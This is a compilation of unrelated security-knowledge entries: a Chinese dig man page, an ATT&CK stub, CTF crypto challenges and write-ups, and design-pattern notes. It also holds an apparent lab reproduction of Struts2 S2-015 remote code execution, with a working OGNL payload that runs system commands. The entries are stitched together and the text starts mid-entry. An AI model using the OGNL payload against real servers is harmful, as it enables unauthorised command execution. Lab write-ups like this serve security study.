进入docker,发现`/tmp/success`成功被创建,说明命令执行漏洞利用成功:

|
sec-knowleage
|
.\" ++Copyright++ 1993
.\" -
.\" Copyright (c) 1993
.\" The Regents of the University of California. All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\" -
.\" Portions Copyright (c) 1993 by Digital Equipment Corporation.
.\"
.\" Permission to use, copy, modify, and distribute this software for any
.\" purpose with or without fee is hereby granted, provided that the above
.\" copyright notice and this permission notice appear in all copies, and that
.\" the name of Digital Equipment Corporation not be used in advertising or
.\" publicity pertaining to distribution of the document or software without
.\" specific, written prior permission.
.\"
.\" THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL
.\" WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES
.\" OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT
.\" CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
.\" DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
.\" PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
.\" ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
.\" SOFTWARE.
.\" -
.\" --Copyright--
.\"
.\" Distributed with 'dig' version 2.0 from University of Southern
.\" California Information Sciences Institute (USC-ISI).
.\"
.\" dig.1 2.0 (USC-ISI) 8/30/90
.\"
.Dd 1990年8月30日
.Dt DIG 1
.Os BSD 4
.Sh NAME(名称)
.Nm dig
.Nd 发送域名查询信息包到域名服务器
.Sh SYNOPSIS(总览)
.Nm dig
.Op Ic @ Ns Ar server
.Ar domain
.Op Aq Ar query-type
.Op Aq Ar query-class
.Op Ic + Ns Aq Ar query-option
.Op Fl Aq Ar dig-option
.Op Ar %comment
.Sh DESCRIPTION(描述)
.Ic Dig
(domain information groper 域名信息搜索)是一个灵活的
命令行工具,
它可以用来从域名系统服务器中收集信息.
.Ic Dig
有两种模式:简单交互模式
用于简单的查询,而批处理模式则可以对
包含多个查询条目的列表执行查询.
所有查询选项都可以从命令行输入.
.Pp
通常简单的
.Ic dig
用法为下列格式:
.Pp
.Bd -ragged -offset indent-two
.Ic dig @ Ns Ar server domain query-type query-class
.Ed
.Pp
这里:
.Bl -tag -width Fl
.It Ar server
可为域名或者以点分隔的Internet地址.
如果省略该可选字段,
.Ic dig
会尝试使用你机器的默认域名服务器.
.sp 1
.Em 注意:
如果指定了一个域名,那么将使用域名系统解析程序
(即BIND)来进行解析.
如果你的系统不支持DNS,那么可能
.Em 必须
指定一个以点分隔的地址.另外一种选择是,
如果在你配置的某个地方有一台这样的服务器,
那么你所要做的就是建立
.Pa /etc/resolv.conf
并在其中指明默认域名服务器的位置,这样
.Ar server
自身就可以解析了.参看
.Xr resolver 5
以获得
.Pa /etc/resolv.conf
相关的信息.
.Sy 警告:
修改
.Pa /etc/resolv.conf
同样会对标准的解析程序库产生影响,而
.Pq 潜在地
某些程序会要用到它.
作为一种选择,用户可设置环境变量
.Ev LOCALRES
为指定的文件,这将用来取代
.Pa /etc/resolv.conf
.Po Ns Ev LOCALRES
是特定针对
.Ic dig
解析程序的,并不会牵涉到标准解析程序
.Pc .
如果
.Ev LOCALRES
变量未设置或者指定的文件不能读,那么就使用
.Pa /etc/resolf.conf .
.It Ar domain
是指一个你请求信息的域名.
参看
.Fl x
选项(在该部分的
.Sx OTHER OPTIONS
节中有介绍)以获知指定反向地址查询的便捷方法.
.It Ar query-type
是指你所请求的信息类型(DNS查询类型).
如果省略,默认为
.Dq Ar a
.Pq Dv T_A = Ar address .
以下类型是可识别的:
.Pp
.Bl -hang -width "hinfo T_HINFO " -compact
.It Ar a\ \ \ \ \ \ Dv T_A
网络地址
.It Ar any\ \ \ \ Dv T_ANY
所有/任何与指定域相关的信息
.It Ar mx\ \ \ \ \ Dv T_MX
该域的邮件网关
.It Ar ns\ \ \ \ \ Dv T_NS
域名服务器
.It Ar soa\ \ \ \ Dv T_SOA
区域的授权记录
.It Ar hinfo\ \ Dv T_HINFO
主机信息
.It Ar axfr\ \ \ Dv T_AXFR
区域传输记录(必须是询问一台授权的服务器)
.It Ar txt\ \ \ \ Dv T_TXT
任意的字符串信息
.El
.Pp
(参看RFC 1035以获得完整的列表.)
.It Ar query-class
是指在查询中请求的网络等级.如果省略,默认为
.Dq Ar in
.Pq Dv C_IN = Ar Internet .
以下的等级是可识别的:
.Pp
.Bl -tag -width "hinfo T_HINFO " -compact
.It Ar in\ \ \ \ \ Dv C_IN
Internet等级的域
.It Ar any\ \ \ \ Dv C_ANY
所有/任何等级的信息
.El
.Pp
(参看RFC 1035以获得完整的列表.)
.Pp
.Em 注意:
.Dq Ar Any
可以用来指定一个
.Em 等级
和/或查询的一种
.Em 类型 .
.Ic Dig
会将第一次出现的
.Dq Ar any
解释为
.Ar query-type = Dv T_ANY .
为了指明
.Ar query-class = Dv C_ANY ,
你必须或者指定
.Dq any
两次,或者使用
.Fl c
选项(见下面)设置
.Ar query-class .
.El
.Ss OTHER OPTIONS(其它选项)
.Bl -tag -width Fl
.It % Ns Ar ignored-comment
.Dq %
用来引用一个不用作解释的参数.
如果正以批处理的模式运行
.Ic dig
这可能很有用.
因为不用对一组查询中的每个
.Ar @server-domain-name
进行解析,你就可以避免这样做的额外开销,
并且仍然能够在命令行上以域名作为参数.
例如:
.Pp
.Bd -ragged -offset indent-two
.Ic dig @128.9.0.32 %venera.isi.edu mx isi.edu
.Ed
.Pp
.It Fl Aq Ar dig option
.Dq Fl
用来指定一个影响
.Ic dig
操作的选项.
当前可用的选项有(尽管不能保证都有用):
.Bl -tag -width Fl
.It Fl x Ar dot-notation-address
这是指定反向地址映射的便捷的方法.
不用写
.Dq Ic dig 32.0.9.128.in-addr.arpa ,
你可以简单地写成
.Dq Ic dig -x 128.9.0.32 .
.It Fl f Ar file
.Ic dig
批处理模式的文件.该文件包含了一组查询清单
(
.Ns Ic dig
命令行),它们将一个接一个地执行.以
.Sq \&; ,
.Sq #
或
.Sq \en
开头的行将忽略.其它选项
仍然可以在命令行上出现,而且对
每个批处理查询都有效.
.It Fl T Ar time
当运行于批处理模式下时,两次接着的查询之间的
时间间隔,以秒计.
可以用来保持两个或多个批处理
.Ic dig
命令大致同步运行.默认为零.
.It Fl p Ar port
端口号.通过监听非标准端口号来查询
域名服务器.默认为53.
.It Fl P Ns Bq Ar ping-string
在查询返回之后,执行一次
.Xr ping 8
命令以获得响应时间的对照关系.这在调用shell上
显得不那么自然.
该命令显示的最后三行统计信息为:
.Pp
.Bd -ragged -offset indent-two
.Ic ping Fl s server_name 56 3
.Ed
.Pp
如果可选的
.Dq Ar ping_string
存在,那么
会覆盖shell命令中的
.Dq Ic ping Fl s .
.It Fl t Ar query-type
指定查询类型.可以指定为一个将包含在类型字段
中的整数值,也可以使用
上面讨论的缩写助记符(即
.Ar mx = Dv T_MX ) .
.It Fl c Ar query-class
指定查询等级.可以指定为一个将包含在等级字段
中的整数值,也可以使用
上面讨论的缩写助记符(即in = C_IN).
.It Fl k Ar keydir:keyname
用TSIG密钥指定的的密钥名来签署这次查询,
该密钥名在目录keydir下.
.It Fl envsav
该标识指定
.Ic dig
的环境变量
(默认的,显示选项,等等.),在所有参数都解释了之后,
应保存它们到
一个文件中以使之成为默认的环境变量.
如果你不喜欢默认的标准设置而又不想在每次使用
.Ic dig
时带大量的选项,那么这很有用.
环境变量包括解析程序状态变量标识,超时和重试次数
以及详细控制
.Ic dig
输出的标识(见下面).
如果shell环境变量
.Ev LOCALDEF
设置为一个文件的名字,那么此即为默认的
.Ic dig
环境变量所保存的地方.如果没有,那么会在当前
工作目录下创建
.Dq Pa DiG.env .
.Pp
.Em 注意:
.Ev LOCALDEF
是特定针对
.Ic dig
解析程序,
而它不会影响标准解析程序库的操作.
.Pp
每当
.Ic dig
执行时,它会查找
.Dq Pa ./DiG.env
或者在shell环境变量
.Ev LOCALDEF
中指定的文件.
如果这样的文件存在而且可读,那么在解释
任何参数之前,
先从
该文件中
恢复环境变量.
.It Fl envset
该标识只影响批处理查询的运行.当在
.Ic dig
的批处理文件一行上指定了
.Dq Fl envset
时,在参数之后的
.Ic dig
环境变量会被解释为批处理文件执行期间
默认的环境变量,
或者
直到指定了
.Dq Fl envset
的下一行为止.
.It Xo
.Fl Op Cm no
.Ns cm stick
.Xc
该标识只影响批处理查询的运行.
它指定
.Ic dig
环境变量(通过
.Dq Fl envset
开关变量初始化读入或设置)会在
.Ic dig
批处理文件每次查询(行)之前重建.
默认的
.Dq Fl nostick
表示
.Ic dig
环境变量不是固定的,因而在
.Ic dig
批处理文件中单行上指定的选项将对剩余的行
继续产生作用(也即,它们不会恢复成
.Dq sticky(固定的)
默认值).
.El
.It Ic + Ns Aq Ar query-option
.Dq +
用来指定一个在查询信息包中需修改的或者
需用来修改
.Ic dig
输出细节的选项.这些选项中的许多与
.Xr nslookup 8
所承认的参数相同.
如果一个选项需带参数,那么格式如下:
.Pp
.Bd -ragged -offset indent-two
.Ic +
.Ns Ar keyword
.Ns Op = Ns Ar value
.Ed
.Pp
绝大多数关键字可简写.
.Dq +
选项的解释是非常直白的 \(em 值与它的关键字之间
千万不能用空格分隔.
当前可用的关键字有:
.Pp
Keyword Abbrev. Meaning [default]
.Pp
(关键字) (缩写) (含义) [默认值]
.Pp
.Bl -tag -width "[no]primary (ret) " -compact
.It Xo
.Op Cm no
.Ns Cm debug\ \ \ \
.Pq Cm deb
.Xc
打开/关闭调试模式
.Bq Cm deb
.It Xo
.Op Cm no
.Ns Cm d2\ \ \ \ \ \ \ \ \ \
.Xc
打开/关闭特殊的调试模式
.Bq Cm nod2
.It Xo
.Op Cm no
.Ns Cm recurse\ \
.Pq Cm rec
.Xc
使用/不使用递归查询
.Bq Cm rec
.It Xo
.Cm retry= Ns Ar #
.Cm \ \ \ \ \
.Pq Cm ret
.Xc
设置重试次数为#
.Bq 4
.It Xo
.Cm time= Ns Ar #
.Cm \ \ \ \ \ \
.Pq Cm ti
.Xc
设置超时长度为#秒
.Bq 4
.It Xo
.Op Cm no
.Ns Cm ko
.Xc
保留公开的选项(keep open options)(隐含vc)
.Bq Cm noko
.It Xo
.Op Cm no
.Ns Cm vc
.Xc
使用/不使用虚拟电路
.Bq Cm novc
.It Xo
.Op Cm no
.Ns Cm defname\ \
.Pq Cm def
.Xc
使用/不使用默认的域名
.Bq Cm def
.It Xo
.Op Cm no
.Ns Cm search\ \ \
.Pq Cm sea
.Xc
使用/不使用域搜索列表
.Bq Cm sea
.It Xo
.Cm domain= Ns Ar NAME\ \
.Pq Cm do
.Xc
设置默认的域名为
.Ar NAME
.It Xo
.Op Cm no
.Ns Cm ignore\ \ \
.Pq Cm i
.Xc
忽略/不忽略截断(trunc.)错误
.Bq Cm noi
.It Xo
.Op Cm no
.Ns Cm primary\ \
.Pq Cm pr
.Xc
使用/不使用主服务器
.Bq Cm nopr
.It Xo
.Op Cm no
.Ns Cm aaonly\ \ \
.Pq Cm aa
.Xc
表示只包含授权查询的标识
.Bq Cm noaa
.It Xo
.Op Cm no
.Ns Cm cmd
.Xc
重复(echo)解释的参数
.Bq Cm cmd
.It Xo
.Op Cm no
.Ns Cm stats\ \ \ \
.Pq Cm st
.Xc
显示查询统计信息
.Bq Cm st
.It Xo
.Op Cm no
.Ns Cm Header\ \ \
.Pq Cm H
.Xc
显示基本的包头
.Bq Cm H
.It Xo
.Op Cm no
.Ns Cm header\ \ \
.Pq Cm he
.Xc
显示包头的标识
.Bq Cm he
.It Xo
.Op Cm no
.Ns Cm ttlid\ \ \ \
.Pq Cm tt
.Xc
显示TTLs(Time to Live)
.Bq Cm tt
.It Xo
.Op Cm no
.Ns Cm cl
.Xc
显示等级信息
.Bq Cm nocl
.It Xo
.Op Cm no
.Ns Cm qr
.Xc
显示向外的查询
.Bq Cm noqr
.It Xo
.Op Cm no
.Ns Cm reply\ \ \ \
.Pq Cm rep
.Xc
显示响应信息
.Bq Cm rep
.It Xo
.Op Cm no
.Ns Cm ques\ \ \ \ \
.Pq Cm qu
.Xc
显示询问部分
.Bq Cm qu
.It Xo
.Op Cm no
.Ns Cm answer\ \ \
.Pq Cm an
.Xc
显示应答部分
.Bq Cm an
.It Xo
.Op Cm no
.Ns Cm author\ \ \
.Pq Cm au
.Xc
显示授权的部分
.Bq Cm au
.It Xo
.Op Cm no
.Ns Cm addit\ \ \ \
.Pq Cm ad
.Xc
显示附加的部分
.Bq Cm ad
.It Cm pfdef
设置为默认显示位
.It Cm pfmin
设置为最小的默认显示位
.It Cm pfset= Ns Ar #
设置显示位为#
(#可以为十六进制/八进制/十进制)
.It Cm pfand= Ns Ar #
位和显示位设为#(bitwise and print flags with #)
.It Cm pfor= Ns Ar #
位或显示位设为#(bitwise or print flags with #)
.El
.Pp
当发送数据报查询时,
.Cm retry
和
.Cm time
选项会影响解析程序库的重传策略.其算法如下:
.Pp
.Bd -literal -offset indent
for i = 0 to retry - 1
for j = 1 to num_servers
send_query
wait((time * (2**i)) / num_servers)
end
end
.Ed
.Pp
(注意:
.Ic dig
通常取
.Dq Li num_servers
的值为1 . )
.El
.Ss DETAILS(细节)
.Ic Dig
以前要求BIND的
.Xr resolver 3
库的版本作一些细微的修改.
从BIND 4.9起,BIND的解析程序已经修补好
并可以正常地与
.Ic dig
一起工作.
实质上,
.Ic dig
在解释参数和设置适合的参数时是
直来直去的
(虽然并不巧妙)
.Ic Dig
会用到
.Xr resolver 3
的例程
.Fn res_init ,
.Fn res_mkquery ,
.Fn res_send
以及访问
.Ft _res
结构.
.Sh ENVIRONMENT(环境变量)
.Bl -tag -width "LOCALRES " -compact
.It Ev LOCALRES
用来替换Pa /etc/resolv.conf的文件
.It Ev LOCALDEF
默认的环境变量文件
.El
.Pp
另见上面对
.Fl envsav ,
.Fl envset ,
和
.Xo
.Fl Op Cm no
.Ns Cm stick
.Xc
选项的说明.
.Sh FILES(相关文件)
.Bl -tag -width "/etc/resolv.conf " -compact
.It Pa /etc/resolv.conf
初始化的域名和域名服务器地址
.It Pa \./DiG.env
默认的保存默认选项的文件
.El
.Sh SEE ALSO(另见)
.Xr named 8 ,
.Xr resolver 3 ,
.Xr resolver 5 ,
.Xr nslookup 8 .
.Sh STANDARDS(标准)
RFC 1035.
.Sh AUTHOR(作者)
Steve Hotz
hotz@isi.edu
.Sh ACKNOWLEDGMENTS(致谢)
.Ic Dig
使用了源自
.Xr nslookup 8
的函数,
其作者为Andrew Cherenson.
.Sh BUGS
.Ic Dig
是蠕变特色("creeping featurism")的一个
典型实例 -- 这是因在其开发
过程中就考虑到了一些潜在应用而导致的结果.
它可能会从这种严格的限定中受益.同样,
他们设立的显示位以及条目的间隔尺寸
很明显地也是一种十分特别的创意.
.Pp
当问题出在解析程序身上时,
.Ic Dig
不会总是能够正常地退出(在适合的状况下)
.Po Sy 注意:
绝大多数一般的exit情况是能够处理的
.Pc .
当运行于批处理模式下时尤其恼火.
如果不能正常退出(又无法俘获)的话,
那么整个批处理将终止;如果俘获了这样的事件,
.Ic dig
就只是继续下一个查询罢了.
.Sh [中文版维护人]
riser <boomer@ccidnet.com>
.Sh [中文版最新更新]
2001/7/19
.Sh "《中国Linux论坛man手册页翻译计划》"
http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1588-002-获取能力-工具
## 来自ATT&CK的描述
攻击者可能会购买、窃取或下载可在攻击目标过程中使用的软件工具。工具可以是开源或闭源的,免费或商业的。一个工具可以被攻击者用于恶意目的,但工具(与恶意软件不同)并不是被用于这些目的(例如:PsExec)。工具的获取可能涉及商业软件许可证的采购,包括Cobalt Strike等红色团队工具。商业软件可以通过购买、盗取许可证(或软件的许可副本)或破解试用版来获得。
攻击者可以获得工具来支持他们的行动,包括支持执行破坏后的行为。除了自由下载或购买软件外,攻击者还可能从第三方实体(包括其他攻击者)窃取软件或软件许可证。
## 测试案例
暂无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
大部分此类活动将在目标组织的可见性之外进行,因此很难检测到这种行为。检测工作可能集中在攻击者生命周期的妥协后阶段。
## 参考推荐
MITRE-ATT&CK-T1588-002
<https://attack.mitre.org/techniques/T1588/002/>
|
sec-knowleage
|
# 打码平台整理

图:全球十大打码平台[1]
## References
\[1] 打码平台背后,血汗工厂下的打码工人,[GEETEST极验](https://www.freebuf.com/author/GEETEST%E6%9E%81%E9%AA%8C),https://www.freebuf.com/news/254659.html
|
sec-knowleage
|
# S2-015 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.14.2
漏洞详情:
- http://struts.apache.org/docs/s2-015.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理与测试
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:
```xml
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
```
上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 `#_memberAccess['allowStaticMethodAccess']=true` 来修改其值达到重获静态方法调用的能力。
这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new java.lang.ProcessBuilder('calc')).start() 来解决,另外还可以借助 Java 反射机制去间接修改:
```
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)
```
可以构造 Payload 如下:
```
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
```
直接回显:

除了上面所说到的这种情况以外,S2-015 还涉及一种二次引用执行的情况:
```xml
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
```
这里配置了 `<param name="errorMessage">${message}</param>`,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行,因此只用提交 %{1111*2} 作为其变量值提交就会得到执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param} 引用了 Action 中的变量所导致的,并不针对于 type="httpheader" 这种返回方式。

|
sec-knowleage
|
from Crypto.Util.number import *
size = 2048
rand_state = getRandomInteger(size // 2)
def keygen(size):
q = getPrime(size)
k = 2
while True:
p = q * k + 1
if isPrime(p):
break
k += 1
g = 2
while True:
if pow(g, q, p) == 1:
break
g += 1
A = getRandomInteger(size) % q
B = getRandomInteger(size) % q
x = getRandomInteger(size) % q
h = pow(g, x, p)
return (g, h, A, B, p, q), (x,)
def rand(A, B, M):
global rand_state
rand_state, ret = (A * rand_state + B) % M, rand_state
return ret
def encrypt(pubkey, m):
g, h, A, B, p, q = pubkey
assert 0 < m <= p
r = rand(A, B, q)
c1 = pow(g, r, p)
c2 = (m * pow(h, r, p)) % p
return (c1, c2)
pubkey, privkey = keygen(size)
m = bytes_to_long("flag{alamakota}")
c1, c2 = encrypt(pubkey, m)
c1_, c2_ = encrypt(pubkey, m)
print(pubkey)
print (c1, c2)
print (c1_, c2_)
|
sec-knowleage
|
## Crypto 300 (crypto, 300p)
### PL
[ENG](#eng-version)
Zadanie polegało na odwróceniu działania podanego algorytmu, zaimplementowanego w javascripcie, dla podanego zaszyfrowanego tekstu. Kod szyfrujący i deszyfrujący umieszczony w zadaniu znajduje się [tutaj](./crypto300.js)
Zaszyfrowanego tekst: `51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d`
Analiza kodu pozwoliła nam stwierdzić, że każdy z bajtów w zakodowanym tekście jest wynikiem operacji XOR na 3 wartościach: bajcie danych wejściowych, bajcie ze specjalnie przygotowanej tablicy z elementami 0-128 oraz bajcie z klucza.
Jeśli klucz szyfrowania był za krótki, dokonywane było jego przedłużenie poprzez dokonanie przesunięcia bitowego w lewo o 1 pozycję, a następnie wykonanie kilku dodatkowych operacji bitowych a na koniec tak przygotowany element dodawany był na koniec klucza.
Przesuwanie bitów pewnego elementu klucza w celu uzyskania nowego elementu klucza oznaczało, że dla odpowiednio dlugiego tekstu pewne bajty będą xorowane z kluczem, kolejne bajty z poprzesuwanym kluczem itd.
Z tych 3 elementów xorowanych aby uzyskać ciphertext jedynie klucz mógł zawierać zapalony najwyższy bit, ponieważ klucz w trakcie "wydłużania" przesuwał bity w lewo.
Oznacza to, że mogliśmy sprawdzić czy wysoki bit ciphertextu jest zapalony lub nie i na tej podstawie stwierdzić czy najwyższy bit klucza był zapalony czy tez nie.
Warto zauważyć, że jeśli szyfrując zaczniemy korzystać z przedłużonej części klucza, to najwyższy bit pierwszego przedłużenia to jest 2 bit najbardziej znaczący z oryginalnego klucza, najwyższy bit drugiego przedłużenia to 3 najbardziej znaczący bit oryginalnego klucza etc.
W efekcie jeśli nasz klucz jest przynajmniej 8 razy krótszy niż plaintext możemy w ten sposób odzyskac wszystkie bity klucza.
Ostatnim krokiem było poznanie długości klucza. Wykorzystaliśmy do tego założenie, że klucz jako tekst ascii nie posiada zapalonych wysokich bitów, więc pierwsza pozycja w ciphertexcie, która ma zapalony najwyższy bit określa miejsce gdzie musiał zostać użyty klucz przedłużony. Taka pozycja określa maksymalną długość klucza oryginalnego. Następnie wykonaliśmy operacje ekstrakcji kluczy dla wszystkich wartości pomiędzy 2 a tym indeksem. Używając kodu:
```python
def test(KEY_LEN):
out = []
for i in range(len(inp)):
new = 1 if (ord(inp[i]) & 0x80) != 0 else 0
out.append(new)
res = ''
for i in range(KEY_LEN):
bits = out[i::KEY_LEN]
bitstr = ''.join(str(x) for x in bits)
res += chr(int(bitstr[:8], 2))
return res
```
Uzyskaliśmy dla długości klucza 21 wartość `weplayctfoutofpassion`. Tą wartość wykorzystaliśmy w oryginalnym skrypcie javascript do zdekodowania wejściowego ciągu:
```javascript
key = "weplayctfoutofpassion";
input = '51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d'
console.log(proceed(input, key, 'decrypt'));
```
Co dało nam:
`Awesome work, you should now have just one left to go unless you selected randomly. I m giving you the flag: 1112fc63b939ab8b22a2b6995ba0be95. Enjoy the rest of the journey!`
### ENG version
The task was to revert given algorithm, implemented in javascript, for given ciphertext. The cipher code was given and is available [here](./crypto300.js).
Ciphertext: `51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d`
The analysis of the code showed us that every byte in the encoded text is a result of XOR operations on 3 values: byte from input, byte from special table with values 0-128 and byte from key.
If the the key was too short, it was extended by doing a left bitshift, the some more bit operations and in the end it was appended to the original key.
Shifting bits of element of the key in order to get a new element of the key means that for sufficiently large text some bytes will be xored with original key, next bytes with shifted key etc.
Out of those 3 elements xored to get the ciphertext/plaintext only the key could have a lighted higest bit, since when the key was "extended" it was shifting bits to the left. This means that we could check if the higest bit of ciphertext is lighted or not and based on that decide if the highest bit of the key was lighted or not.
It's worth noting that that when we encode the input and start using the extended key part, then highest bit of the first extension is actually the 2nd most significant bit of the original key, highest bit of the 2nd extension is the 3rd most significant bit of the original key etc.
As a result if our key is at least 8 times shorter than he plaintext we can extract all the bits of the key.
The last step was to figure out how long is the key. We used the assumption that te key is ascii text so does not have high bits set to 1, and therefore the first lighted highest bit marks the index at which we must have started using key extension. This means that the key can be at most that long. Then we extracted all potential keys of length from 2 to the index we found, with the code:
```python
def test(KEY_LEN):
out = []
for i in range(len(inp)):
new = 1 if (ord(inp[i]) & 0x80) != 0 else 0
out.append(new)
res = ''
for i in range(KEY_LEN):
bits = out[i::KEY_LEN]
bitstr = ''.join(str(x) for x in bits)
res += chr(int(bitstr[:8], 2))
return res
```
This way for key length 21 we got `weplayctfoutofpassion`. We used it in the original javascript script to decode the input ciphertext:
```javascript
key = "weplayctfoutofpassion";
input = '51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d'
console.log(proceed(input, key, 'decrypt'));
```
Which gave us:
`Awesome work, you should now have just one left to go unless you selected randomly. I m giving you the flag: 1112fc63b939ab8b22a2b6995ba0be95. Enjoy the rest of the journey!`
|
sec-knowleage
|
## 单例(Singleton)
### Intent
确保一个类只有一个实例,并提供该实例的全局访问点。
### Class Diagram
使用一个私有构造函数、一个私有静态变量以及一个公有静态函数来实现。
私有构造函数保证了不能通过构造函数来创建对象实例,只能通过公有静态函数返回唯一的私有静态变量。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/eca1f422-8381-409b-ad04-98ef39ae38ba.png"/> </div><br>
### Implementation
#### Ⅰ 懒汉式-线程不安全
以下实现中,私有静态变量 uniqueInstance 被延迟实例化,这样做的好处是,如果没有用到该类,那么就不会实例化 uniqueInstance,从而节约资源。
这个实现在多线程环境下是不安全的,如果多个线程能够同时进入 `if (uniqueInstance == null)` ,并且此时 uniqueInstance 为 null,那么会有多个线程执行 `uniqueInstance = new Singleton();` 语句,这将导致实例化多次 uniqueInstance。
```java
public class Singleton {
private static Singleton uniqueInstance;
private Singleton() {
}
public static Singleton getUniqueInstance() {
if (uniqueInstance == null) {
uniqueInstance = new Singleton();
}
return uniqueInstance;
}
}
```
#### Ⅱ 饿汉式-线程安全
线程不安全问题主要是由于 uniqueInstance 被实例化多次,采取直接实例化 uniqueInstance 的方式就不会产生线程不安全问题。
但是直接实例化的方式也丢失了延迟实例化带来的节约资源的好处。
```java
private static Singleton uniqueInstance = new Singleton();
```
#### Ⅲ 懒汉式-线程安全
只需要对 getUniqueInstance() 方法加锁,那么在一个时间点只能有一个线程能够进入该方法,从而避免了实例化多次 uniqueInstance。
